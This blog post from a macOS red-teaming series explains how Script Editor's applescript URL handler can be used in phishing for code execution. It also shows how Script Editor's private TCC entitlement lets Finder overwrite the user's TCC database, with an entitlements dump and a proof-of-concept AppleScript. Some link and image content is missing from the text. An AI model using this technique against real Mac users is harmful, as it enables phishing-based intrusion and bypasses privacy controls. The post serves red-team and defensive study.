macOS Red Teaming Tricks series
The idea of #macOSRedTeamingTricks series is to share simple & ready-to-use tricks that may help you during macOS red teaming engagements.
This post is about a funny trick that may help you in achieving initial access on a macOS machine. It requires performing advanced phishing but the code execution with built-in TCC bypass is extremely powerful.
Let’s go to the point. The Script Editor (
/System/Applications/Utilities/Script Editor.app) registers an
applescript URL handler. It allows passing an Apple Script that can be executed by simply clicking the Play button.
Consider the following phishing:
And the script:
The link contains:
Clicking on the link from the Apple Mail / iMessage doesn’t raise any additional prompt.
Why this trick is so powerful?
- Because it is simple
- Because it executes code that doesn’t have to be signed and notarized
- Because the code execution is not sandboxed
- Because it also includes the TCC bypass
How is the TCC bypass possible? Let’s take a look at the Script Editor’s entitlements.
$ codesign -d --entitlements - "/System/Applications/Utilities/Script Editor.app" Executable=/System/Applications/Utilities/Script Editor.app/Contents/MacOS/Script Editor [Dict] [...] [Key] com.apple.private.tcc.allow [Value] [Array] [String] kTCCServiceAddressBook [String] kTCCServiceAppleEvents [String] kTCCServiceCalendar [String] kTCCServiceReminders
kTCCServiceAppleEvents private TCC entitlement allows sending an Apple Event to any application. So, we can send an Apple Event to Finder (that has Full Disk Access entitlement) that will replace the user’s TCC database. 🤯
do shell script "/bin/bash -s <<'EOF' echo '123' > /tmp/TCC.db EOF" tell application "Finder" set applicationSupportDirectory to POSIX path of (path to application support from user domain) set tccDirectory to applicationSupportDirectory & "com.apple.TCC/" duplicate file (POSIX file "/tmp/TCC.db" as alias) to folder (POSIX file tccDirectory as alias) with replacing end tell